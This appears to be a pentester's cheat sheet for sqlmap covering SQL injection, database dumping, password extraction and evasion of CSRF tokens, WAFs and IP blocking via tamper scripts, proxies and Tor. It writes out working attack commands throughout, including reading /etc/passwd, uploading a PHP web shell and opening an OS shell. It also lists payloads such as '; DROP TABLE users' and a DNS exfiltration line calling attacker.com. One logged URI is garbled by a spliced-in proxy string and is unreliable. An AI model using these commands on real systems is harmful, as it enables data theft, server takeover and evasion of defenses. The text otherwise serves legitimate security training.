SQLMap
Overview
Test SQLi -> use the appropriate flag -> bypass web app protections if any -> enumerate database -> look for OS exploitation
Table of Contents
- Usage
- Types of SQLi
Usage
Save the full HTTP request captured by burp in a file and use sqlmap with -r
flag
> sqlmap -r req.txt --batch --dump --level=2 --risk=1
--batch answers prompts for you, making it automatic
--dump dumps all data in the database
Useful SQLmap flags
--level
Check your database against particular SQLi attacks by setting test --level
values to dictate the volume of tests to perform and the degree of feedback from sqlmap
.
--level values | Description |
---|---|
1 (default) | A limited number of tests/requests: GET and POST parameters will be tested by default |
2 | Test cookies (HTTP cookie header values) |
3 | Test cookies plus HTTP User-Agent/Referer headers’ values |
4 | As above, plus null values in parameters and other bugs |
5 | An extensive list of tests with an input file for payloads and boundaries |
--risk
sqlmap
SQLi payloads are usually harmless, but if you want to test your database to breaking point, --risk
is the option to use:
--risk values | Description |
---|---|
1 (default) | Data remains unchanged and the database remains operable |
2 | Includes heavy query time-based SQLi attacks, which may slow down or take down the database |
3 | As above, plus OR-based SQLi tests, the payload of which may update all entries of a table and cause havoc in production environments |
Display Errors
The first step is usually to switch the --parse-errors
, to parse the DBMS errors (if any) and displays them as part of the program run
Store the Traffic
The -t
option stores the whole traffic content to an output file
Using Proxy
Finally, we can utilize the --proxy
option to redirect the whole traffic through a (MiTM) proxy (e.g., Burp
). This will route all SQLMap traffic through Burp
, so that we can later manually investigate all requests, repeat them, and utilize all features of Burp
with these requests
Prefix/Suffix
There is a requirement for special prefix and suffix values in rare cases, not covered by the regular SQLMap run.
For such runs, options --prefix
and --suffix
can be used as follows:
sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"
This will result in an enclosure of all vector values between the static prefix %'))
and the suffix -- -
.
For example, if the vulnerable code at the target is:
$query = "SELECT id,name,surname FROM users WHERE id LIKE (('" . $_GET["q"] . "')) LIMIT 0,1";
$result = mysqli_query($link, $query);
The vector UNION ALL SELECT 1,2,VERSION()
, bounded with the prefix %'))
and the suffix -- -
, will result in the following (valid) SQL statement at the target:
SELECT id,name,surname FROM users WHERE id LIKE (('test%')) UNION ALL SELECT 1,2,VERSION()-- -')) LIMIT 0,1
Status Codes
For example, when dealing with a huge target response with a lot of dynamic content, subtle differences between TRUE
and FALSE
responses could be used for detection purposes. If the difference between TRUE
and FALSE
responses can be seen in the HTTP codes (e.g. 200
for TRUE
and 500
for FALSE
), the option --code
could be used to fixate the detection of TRUE
responses to a specific HTTP code (e.g. --code=200
).
Titles
If the difference between responses can be seen by inspecting the HTTP page titles, the switch --titles
could be used to instruct the detection mechanism to base the comparison based on the content of the HTML tag <title>
.
Strings
In case of a specific string value appearing in TRUE
responses (e.g. success
), while absent in FALSE
responses, the option --string
could be used to fixate the detection based only on the appearance of that single value (e.g. --string=success
).
Text-only
When dealing with a lot of hidden content, such as certain HTML page behaviors tags (e.g. <script>
, <style>
, <meta>
, etc.), we can use the --text-only
switch, which removes all the HTML tags, and bases the comparison only on the textual (i.e., visible) content.
Techniques
In some special cases, we have to narrow down the used payloads only to a certain type. For example, if the time-based blind payloads are causing trouble in the form of response timeouts, or if we want to force the usage of a specific SQLi payload type, the option --technique
can specify the SQLi technique to be used.
For example, if we want to skip the time-based blind and stacking SQLi payloads and only test for the boolean-based blind, error-based, and UNION-query payloads, we can specify these techniques with --technique=BEU
.
UNION SQLi Tuning
In some cases, UNION
SQLi payloads require extra user-provided information to work. If we can manually find the exact number of columns of the vulnerable SQL query, we can provide this number to SQLMap with the option --union-cols
(e.g. --union-cols=17
). In case that the default "dummy" filling values used by SQLMap -NULL
and random integer- are not compatible with values from results of the vulnerable SQL query, we can specify an alternative value instead (e.g. --union-char='a'
).
Furthermore, in case there is a requirement to use an appendix at the end of a UNION
query in the form of the FROM <table>
(e.g., in case of Oracle), we can set it with the option --union-from
(e.g. --union-from=users
).
Failing to use the proper FROM
appendix automatically could be due to the inability to detect the DBMS name before its usage.
--cookie
For example, if there is a requirement to specify the (session) cookie value to PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c
option --cookie
would be used as follows:
> sqlmap ... -H='Cookie:PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'
We can apply the same to options like --host
, --referer
, and -A/--user-agent
, which are used to specify the same HTTP headers' values
--random-agent
Furthermore, there is a switch --random-agent
designed to randomly select a User-agent
header value from the included database of regular browser values. This is an important switch to remember, as more and more protection solutions automatically drop all HTTP traffic containing the recognizable default SQLMap's User-agent value (e.g. User-agent: sqlmap/1.4.9.12#dev (http://sqlmap.org)
).
--mobile
Alternatively, the --mobile
switch can be used to imitate the smartphone by using that same header value.
--method
Also, if we wanted to specify an alternative HTTP method, other than GET
and POST
(e.g., PUT
), we can utilize the option --method
, as follows:
> sqlmap -u www.target.com --data='id=1' --method PUT
DB Data Enumeration
Enumeration of basic information
- Database version banner (switch
--banner
) - Current user name (switch
--current-user
) - Current database name (switch
--current-db
) - Checking if the current user has DBA (administrator) rights (switch
--is-dba
)
Note: The 'root' user in the database context in the vast majority of cases does not have any relation with the OS user "root", other than that representing the privileged user within the DBMS context. This basically means that the DB user should not have any constraints within the database context, while OS privileges (e.g. file system writing to arbitrary location) should be minimalistic, at least in the recent deployments. The same principle applies for the generic 'DBA' role.
Table Enumeration
In most common scenarios, after finding the current database name (i.e. testdb), the retrieval of table names would be by using the --tables
option and specifying the DB name with -D
testdb
Table/Row Enumeration
When dealing with large tables with many columns and/or rows, we can specify the columns (e.g., only name
and surname
columns) with the -C
option, as follows:
> sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname
To narrow down the rows based on their ordinal number(s) inside the table, we can specify the rows with the --start
and --stop
options (e.g., start from 2nd up to 3rd entry), as follows:
> sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --start=2 --stop=3
Conditional Enumeration
If there is a requirement to retrieve certain rows based on a known WHERE
condition (e.g. name LIKE 'f%'
), we can use the option --where
, as follows:
> sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"
DB Schema Enumeration
If we wanted to retrieve the structure of all of the tables so that we can have a complete overview of the database architecture, we could use the switch --schema
Searching for Data
When dealing with complex database structures with numerous tables and columns, we can search for databases, tables, and columns of interest, by using the --search
option. This option enables us to search for identifier names by using the LIKE
operator. For example, if we are looking for all of the table names containing the keyword user
, we can run SQLMap as follows:
> sqlmap -u "http://www.example.com/?id=1" --search -T user
> sqlmap -u "http://www.example.com/?id=1" --search -C pass
DB Users Password Enumeration and Cracking
Apart from user credentials found in DB tables, we can also attempt to dump the content of system tables containing database-specific credentials (e.g., connection credentials). To ease the whole process, SQLMap has a special switch --passwords
designed especially for such a task:
> sqlmap -u "http://www.example.com/?id=1" --passwords --batch
Bypassing Web Application Protections
Anti-CSRF Token Bypass
SQLMap has options that can help in bypassing anti-CSRF protection. Namely, the most important option is --csrf-token
. By specifying the token parameter name (which should already be available within the provided request data), SQLMap will automatically attempt to parse the target response content and search for fresh token values so it can use them in the next request.
This process can somtimes be automated and detected in sqlmap where the user doesn't even have to include the flag
> sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"
Unique Value Bypass
In some cases, the web application may only require unique values to be provided inside predefined parameters. Such a mechanism is similar to the anti-CSRF technique described above, except that there is no need to parse the web page content. So, by simply ensuring that each request has a unique value for a predefined parameter, the web application can easily prevent CSRF attempts while at the same time averting some of the automation tools. For this, the option --randomize
should be used, pointing to the parameter name containing a value which should be randomized before being sent:
> sqlmap -u "http://www.example.com/?id=1&rp=29125" --randomize=rp --batch -v 5 | grep URI
URI: http://www.example.com:80/?id=1&rp=99954
URI: http://www.example.com:80/?id=1&rp=87216
URI: http://www.example.com:80/?id=9030&rp=36456
URI: http://www.example.com:80/?id=1.%2C%29%29%27.%28%28%2C%22&rp=16689
URI: http://www.example.com:80/?id=1%27xaFUVK%3C%27%22%3EHKtQrg&rp=40049
URI: http://www.example.com:80/?id=1%29%20AND%209368%3D6381%20AND%20%287422%3D7422&rp=95185
Calculated Parameter Bypass
Another similar mechanism is where a web application expects a proper parameter value to be calculated based on some other parameter value(s). Most often, one parameter value has to contain the message digest (e.g. h=MD5(id)
) of another one. To bypass this, the option --eval
should be used, where a valid Python code is being evaluated just before the request is being sent to the target:
Bypassing Web Application Protections
> sqlmap -u "http://www.example.com/?id=1&h=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib; h=hashlib.md5(id).hexdigest()" --batch -v 5 | grep URI
URI: http://www.example.com:80/?id=1&h=c4ca4238a0b923820dcc509a6f75849b
URI: http://www.example.com:80/?id=1&h=c4ca4238a0b923820dcc509a6f75849b
URI: http://www.example.com:80/?id=9061&h=4d7e0d72898ae7ea3593eb5ebf20c744
URI: http://www.example.com:80/?id=1%2C.%2C%27%22.%2C%28.%29&h=620460a56536e2d32fb2f4842ad5a08d
URI: http://www.example.com:80/?id=1%27MyipGP%3C%27%22%3EibjjSu&h=db7c815825b14d67aaa32da09b8b2d42
URI: http://www.example.com:80/?id=1%29%20AND%209978%socks4://177.39.187.70:33283ssocks4://177.39.187.70:332833D1232%20AND%20%284955%3D4955&h=02312acd4ebe69e2528382dfff7fc5
IP Address Concealing
In case we want to conceal our IP address, or if a certain web application has a protection mechanism that blacklists our current IP address, we can try to use a proxy or the anonymity network Tor. A proxy can be set with the option --proxy
(e.g. --proxy="socks4://177.39.187.70:33283"
), where we should add a working proxy.
In addition to that, if we have a list of proxies, we can provide them to SQLMap with the option --proxy-file
. This way, SQLMap will go sequentially through the list, and in case of any problems (e.g., blacklisting of IP address), it will just skip from current to the next from the list. The other option is Tor network use to provide an easy to use anonymization, where our IP can appear anywhere from a large list of Tor exit nodes. When properly installed on the local machine, there should be a SOCKS4
proxy service at the local port 9050 or 9150. By using switch --tor
, SQLMap will automatically try to find the local port and use it appropriately.
If we wanted to be sure that Tor is properly being used, to prevent unwanted behavior, we could use the switch --check-tor
. In such cases, SQLMap will connect to the https://check.torproject.org/
and check the response for the intended result (i.e., Congratulations
appears inside).
User-agent Blacklisting Bypass
In case of immediate problems (e.g., HTTP error code 5XX from the start) while running SQLMap, one of the first things we should think of is the potential blacklisting of the default user-agent used by SQLMap (e.g. User-agent: sqlmap/1.4.9 (http://sqlmap.org)
).
This is trivial to bypass with the switch --random-agent
, which changes the default user-agent with a randomly chosen value from a large pool of values used by browsers.
Note: If some form of protection is detected during the run, we can expect problems with the target, even other security mechanisms. The main reason is the continuous development and new improvements in such protections, leaving smaller and smaller maneuver space for attackers.
WAF/IPS Bypass Tamper Scripts
Finally, one of the most popular mechanisms implemented in SQLMap for bypassing WAF/IPS solutions is the so-called "tamper" scripts. Tamper scripts are a special kind of (Python) scripts written for modifying requests just before being sent to the target, in most cases to bypass some protection.
For example, one of the most popular tamper scripts between is replacing all occurrences of greater than operator (>
) with NOT BETWEEN 0 AND #
, and the equals operator (=
) with BETWEEN # AND #
. This way, many primitive protection mechanisms (focused mostly on preventing XSS attacks) are easily bypassed, at least for SQLi purposes.
Tamper scripts can be chained, one after another, within the --tamper
option (e.g. --tamper=between,randomcase
), where they are run based on their predefined priority. A priority is predefined to prevent any unwanted behavior, as some scripts modify payloads by modifying their SQL syntax (e.g. ifnull2ifisnull). In contrast, some tamper scripts do not care about the inner content (e.g. appendnullbyte).
Tamper scripts can modify any part of the request, although the majority change the payload content. The most notable tamper scripts are the following:
Tamper-Script | Description |
---|---|
0eunion | Replaces instances of UNION with e0UNION |
base64encode | Base64-encodes all characters in a given payload |
between | Replaces greater than operator (> ) with NOT BETWEEN 0 AND # and equals operator (= ) with BETWEEN # AND # |
commalesslimit | Replaces (MySQL) instances like LIMIT M, N with LIMIT N OFFSET M counterpart |
equaltolike | Replaces all occurrences of operator equal (= ) with LIKE counterpart |
halfversionedmorekeywords | Adds (MySQL) versioned comment before each keyword |
modsecurityversioned | Embraces complete query with (MySQL) versioned comment |
modsecurityzeroversioned | Embraces complete query with (MySQL) zero-versioned comment |
percentage | Adds a percentage sign (% ) in front of each character (e.g. SELECT -> %S%E%L%E%C%T) |
plus2concat | Replaces plus operator (+ ) with (MsSQL) function CONCAT() counterpart |
randomcase | Replaces each keyword character with random case value (e.g. SELECT -> SEleCt) |
space2comment | Replaces space character ( ) with comments `/ |
space2dash | Replaces space character ( ) with a dash comment (-- ) followed by a random string and a new line (\n ) |
space2hash | Replaces (MySQL) instances of space character ( ) with a pound character (# ) followed by a random string and a new line (\n ) |
space2mssqlblank | Replaces (MsSQL) instances of space character ( ) with a random blank character from a valid set of alternate characters |
space2plus | Replaces space character ( ) with plus (+ ) |
space2randomblank | Replaces space character ( ) with a random blank character from a valid set of alternate characters |
symboliclogical | Replaces AND and OR logical operators with their symbolic counterparts (&& and \| ) |
versionedkeywords | Encloses each non-function keyword with (MySQL) versioned comment |
versionedmorekeywords | Encloses each keyword with (MySQL) versioned comment |
To get a whole list of implemented tamper scripts, along with the description as above, switch --list-tampers
can be used. We can also develop custom Tamper scripts for any custom type of attack, like a second-order SQLi.
Miscellaneous Bypasses
Out of other protection bypass mechanisms, there are also two more that should be mentioned. The first one is the Chunked
transfer encoding, turned on using the switch --chunked
, which splits the POST request's body into so-called "chunks." Blacklisted SQL keywords are split between chunks in a way that the request containing them can pass unnoticed.
The other bypass mechanisms is the HTTP parameter pollution
(HPP
), where payloads are split in a similar way as in case of --chunked
between different same parameter named values (e.g. ?id=1&id=UNION&id=SELECT&id=username,password&id=FROM&id=users...
), which are concatenated by the target platform if supporting it (e.g. ASP
).
OS Exploitation
File Read/Write
While we do not necessarily need to have database administrator privileges (DBA) to read data, this is becoming more common in modern DBMSes. The same applies to other common databases.
> LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE passwd;
To check whether we have DBA privileges with SQLMap, we can use the --is-dba
option
If we do have DBA privileges, then it is much more probable that we have file-read privileges.
read local files with the --file-read
option:
> sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"
Writing files to the hosting server is much more restricted in modern DMBSes, since we can utilize this to write a Web Shell on the remote server, and hence get code execution and take over the server.
This is why modern DBMSes disable file-write by default and need certain privileges for DBA's to be able to write files. For example, in MySql, the --secure-file-priv
configuration must be manually disabled to allow writing data into local files using the INTO OUTFILE
SQL query, in addition to any local access needed on the host server, like the privilege to write in the directory we need.
Still, many web applications require the ability for DBMSes to write data into files, so it is worth testing whether we can write files to the remote server. To do that with SQLMap, we can use the --file-write
and --file-dest
options. First, let's prepare a basic PHP web shell and write it into a shell.php
file:
> echo '<?php system($_GET["cmd"]); ?>' > shell.php
Now, let's attempt to write this file on the remote server, in the /var/www/html/
directory, the default server webroot for Apache. If we didn't know the server webroot, we will see how SQLMap can automatically find it.
> sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"
Command Execution
To get an OS shell with SQLMap, we can use the --os-shell
option, as follows:
> sqlmap -u "http://www.example.com/?id=1" --os-shell
If that doesn't work we can be more specific in terms of technique
> sqlmap -u "http://www.example.com/?id=1" --os-shell --technique=E
Note: E = Error-based SQLi
Types of SQLi
Boolean-based blind SQL Injection:
AND 1=1
TRUE
results are generally based on responses having none or marginal difference to the regular server response.
FALSE
results are based on responses having substantial differences from the regular server response.
Error-based SQL Injection:
AND GTID_SUBSET(@@version,0)
If the database management system
(DBMS
) errors are being returned as part of the server response for any database-related problems, then there is a probability that they can be used to carry the results for requested queries.
UNION query-based SQL Injection:
UNION ALL SELECT 1,@@version,3
get additional results from the injected statements within the page response itself
Stacked queries
; DROP TABLE users
injecting additional SQL statements after the vulnerable one. SQLMap can use such vulnerabilities to run non-query statements executed in advanced features (e.g., execution of OS commands) and data retrieval similarly to time-based blind SQLi types.
Time-based blind SQL Injection
AND 1=IF(2>1,SLEEP(5),0)
The principle of Time-based blind SQL Injection
is similar to the Boolean-based blind SQL Injection
, but here the response time is used as the source for the differentiation between TRUE
or FALSE
.
TRUE
response is generally characterized by the noticeable difference in the response time compared to the regular server responseFALSE
response should result in a response time indistinguishable from regular response times
Time-based blind SQL Injection
is considerably slower than the boolean-based blind SQLi. This SQLi type is used in cases where Boolean-based blind SQL Injection
is not applicable. For example, in case the vulnerable SQL statement is a non-query (e.g. INSERT
, UPDATE
or DELETE
), executed as part of the auxiliary functionality without any effect to the page rendering process, time-based SQLi is used out of the necessity, as Boolean-based blind SQL Injection
would not really work in this case.
Inline queries
SELECT (SELECT @@version) from
This type of injection embedded a query within the original query. Such SQL injection is uncommon, as it needs the vulnerable web app to be written in a certain way. Still, SQLMap supports this kind of SQLi as well.
Out-of-band SQL Injection
LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\README.txt'))
This is considered one of the most advanced types of SQLi, used in cases where all other types are either unsupported by the vulnerable web application or are too slow (e.g., time-based blind SQLi). SQLMap supports out-of-band SQLi through "DNS exfiltration," where requested queries are retrieved through DNS traffic.
By running the SQLMap on the DNS server for the domain under control (e.g. .attacker.com
), SQLMap can perform the attack by forcing the server to request non-existent subdomains (e.g. foo.attacker.com
), where foo
would be the SQL response we want to receive. SQLMap can then collect these erroring DNS requests and collect the foo
part, to form the entire SQL response.